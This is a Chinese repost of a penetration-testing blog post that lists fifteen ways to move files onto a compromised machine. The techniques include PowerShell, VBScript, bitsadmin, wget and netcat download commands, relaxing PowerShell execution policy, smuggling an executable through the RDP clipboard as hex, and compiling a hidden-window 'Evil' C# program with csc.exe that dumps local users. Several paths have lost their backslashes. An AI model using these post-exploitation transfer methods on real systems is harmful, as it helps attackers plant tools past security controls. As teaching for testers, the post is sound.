15種下載檔案的方法

青蛙愛輪滑發表於2019-03-30

轉載:https://blog.netspi.com/15-ways-to-download-a-file/
瑞恩甘德魯德
原創時間:2014年6月16日

Pentesters經常將檔案上傳到受感染的盒子以幫助進行許可權提升,或者保持在計算機上的存在。本部落格將介紹將檔案從您的計算機移動到受感染系統的15種不同方法。對於那些在盒子上存在且需要開發後選項的滲透測試人員以及只想移動檔案的系統管理員來說,這應該是有趣的。

在測試期間還有許多其他方法可以將檔案移動到機器上,但是這個列表包括了我的一些最愛。以下是本部落格中介紹的檔案傳輸技術的摘要。

1. PowerShell檔案下載
2. Visual Basic檔案下載
3. Perl檔案下載
4. Python檔案下載
5. Ruby檔案下載
6. PHP檔案下載或上傳
7. FTP檔案下載
8. TFTP檔案下載
9. Bitsadmin檔案下載
10. Wget檔案下載
11. Netcat檔案下載
12. Windows共享檔案下載
13. 記事本對話方塊檔案下載
14. 使用PowerShell和Nishang執行文字,文字到EXE
15. Csc.exe從原始檔編譯

注意:通過SQL隱碼攻擊執行命令時,列出的許多技術也應被視為選項。對於多行步驟,將命令ECHO到檔案,然後執行該檔案。

1. PowerShell檔案下載

PowerShell是管理員可以忽略的一種指令碼語言。但是,它可以為知道如何使用它的人提供過多的選項和功能。最大的好處是它從Windows Server 2003開始就是Windows的原生。下面是一個簡單指令碼的示例,可用於從Internet上的Web伺服器將檔案下載到本地檔案系統:

$p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file" "C:%homepath%file") 

要執行此指令碼,請在PowerShell視窗中執行以下命令:

PS C:> .test.ps1

有時,PowerShell執行策略設定為受限制。在這種情況下,您將無法通過PowerShell執行命令或指令碼…除非您使用以下命令將其設定為不受限制:

C:>powershell set-executionpolicy unrestricted

2. Visual Basic檔案下載

自1998年以來,Visual Basic的最終版本已經成為Windows機器的標準配置。以下指令碼可以下載您選擇的檔案。但是,該指令碼比PowerShell指令碼大得多。

Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm     .type = 1 '     .open     .write xHttp.responseBody     .savetofile " C:%homepath%file", 2 ' end with

Cscript是一個命令列Windows指令碼宿主,允許您傳遞命令列選項並允許您設定指令碼屬性。沒有必要使用它來在Windows 7和其他可能的程式中執行vbs指令碼,但使用它可以讓指令碼在Windows XP及更高版本的計算機上執行。

要執行此指令碼,請在命令shell中執行以下命令:

C:>cscript test.vbs

以下四種語言對於Windows機器來說是非本機語言。但是,如果您發現其上安裝了任何這些語言的計算機(無論作業系統如何),您都可以利用這些指令碼下載檔案。

3. Perl檔案下載

Perl是一種非常通用的指令碼語言,幾乎可以用於任何事情。使用Perl可以非常輕鬆地將檔案下載到本地主機上。

#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");

要執行此指令碼,請在命令shell中執行以下命令:

root@kali:~# perl test.pl

4. Python檔案下載

Python是一種通用指令碼語言,強調程式碼可讀性。與大多數指令碼語言一樣,目標是編寫比程式語言所需的程式碼少的程式碼,同時仍然完成預期的任務。

#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()

要執行此指令碼,請在命令shell中執行以下命令:

root@kali:~# python test.py

5. Ruby檔案下載

Ruby是一種物件導向的程式語言,可以用於建立框架(想想Metasploit)到簡單的任務(如下載檔案)。

#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }

要執行此指令碼,請在命令shell中執行以下命令:

root@kali:~# ruby test.rb

6. PHP檔案下載

PHP通常是用於Web開發的伺服器端指令碼語言,但也可以用作通用指令碼語言。

#!/usr/bin/php <?php         $data = @file("http://example.com/file");         $lf = "local_file";         $fh = fopen($lf, 'w');         fwrite($fh, $data[0]);         fclose($fh); ?>

要執行此指令碼,請在命令shell中執行以下命令:

root@kali:~# php test.php

除非另有說明,否則將檔案移動到目標計算機上的其餘方法是通過本機作業系統功能。其中一些需要比其他步驟更多的步驟,但可以在不同的場景中使用以繞過某些限制。

7. FTP檔案下載

對於此方法,攻擊者希望將FTP命令回顯到bash指令碼,因為它通常需要使用者互動才能輸入使用者名稱和密碼。然後可以執行此bash指令碼以在不需要互動的情況下執行所有​​步驟。

ftp 127.0.0.1 username password get file exit

8. TFTP檔案下載

預設情況下,Windows Vista及更低版本中提供了一些簡單的FTP。請注意,您必須設定要連線的相應伺服器。它可以使用以下命令執行:

tftp -i host GET C:%homepath%file location_of_file_on_tftp_server

9. Bitsadmin檔案下載

Bitsadmin是一個Windows命令列工具,允許使用者建立下載或上傳任務。

bitsadmin /transfer n http://domain/file c:%homepath%file

10. Wget檔案下載

Wget是一個Linux和Windows工具,允許非互動式下載。

wget http://example.com/file

11. Netcat檔案下載

Netcat可以通過連線到特定的偵聽埠來允許下載檔案,該埠將通過連線傳遞檔案的內容。請注意,此示例是特定於Linux的。

在攻擊者計算機上,鍵入:

cat file | nc -l 1234

這將把檔案的內容列印到本地埠1234.然後,只要有人連線到該埠,檔案的內容就會被髮送到連線IP。

應在攻擊者所針對的計算機上執行以下命令:

nc host_ip 1234 > file

這會將目標連線到攻擊者的計算機並接收將通過連線傳送的檔案。

12. Windows共享檔案下載

Windows共享可以安裝到驅動器號,然後可以通過後續複製命令複製檔案。

要安裝遠端驅動器,請鍵入:

net use x: \127.0.0.1share /user:example.comuserID myPassword

13. 記事本對話方塊檔案下載

如果您對計算機具有訪問許可權(RDP,物理等),但您的使用者許可權不允許您開啟Web瀏覽器,則可以使用此技巧從URL或通用命名約定快速下載檔案(UNC)路徑。當您突破在終端上執行的鎖定應用程式時,這也很有效。

開啟記事本
轉到檔案 - 開啟
在底部附近的“檔名”框中,鍵入檔案的完整URL路徑
在這裡插入圖片描述記事本非常友好,可以為您提供此檔案的內容

14. 使用PowerShell和Nishang將Exe轉換為Txt,將Txt轉換為Exe

這可能是我在嘗試將exe移動到機器時使用的最喜歡的工具之一。Nishang允許您將exe轉換為十六進位制,然後使用PowerShell將十六進位制重組為原始exe。我看到組策略不允許通過RDP剪貼簿傳輸exes。雖然它提供了基本的保護,但它(有時)仍然允許通過剪貼簿複製文字的能力。在這種情況下,您可以將Nishang PowerShell源複製到該框中的檔案,並將副檔名重新命名為.ps1。要複製的Nishang指令碼是TexttoExe.ps1,它只有8行。你可以在這裡下載Nishang。

要將exe轉換為hex檔案,請鍵入:

PS > .ExetoText.ps1 evil.exe evil.txt

開啟evil.txt檔案並複製內容。然後使用RDP剪貼簿將內容貼上到目標計算機。對Nishang中TexttoExe.ps1檔案的內容執行相同操作。

要將hex檔案轉換回exe,請鍵入:

PS > .TexttoExe.ps1 evil.text evil.exe

這將導致您的邪惡exe被成功移動到目標機器。

15. Csc.exe從檔案編譯原始碼

C sharp compiler(csc)是Windows中Microsoft .NET安裝中包含的命令列編譯器。如果您無法複製可執行檔案,但仍可以複製文字,這可能很有用。使用此方法,結合SQL隱碼攻擊,可以將exe移動到框中,而不必嘗試繞過可能阻止出站連線的出口過濾器或經過身份驗證的代理。

此可執行檔案的預設位置如下:

C:WindowsMicrosoft.NETFrameworkversion

使用以下示例程式碼,已編譯的可執行檔案將使用cmd.exe查詢框中的本地使用者,並將結果寫入C:Temp目錄中的檔案。這顯然可以修改為與盒子上的不同exe進行互動,或者完全重寫以使用您自己的漏洞利用程式碼。

public class Evil {    public static void Main()    {       System.Diagnostics.Process process = new System.Diagnostics.Process(); 	  System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); 	  startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; 	  startInfo.FileName = "cmd.exe"; 	  startInfo.Arguments = "/C net users > C:\Temp\users.txt"; 	  process.StartInfo = startInfo; 	  process.Start();    } }

要編譯原始碼,請鍵入:

csc.exe /out:C:evilevil.exe C:evilevil.cs

出自:https://blog.netspi.com/15-ways-to-download-a-file/
引申:https://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line

相關文章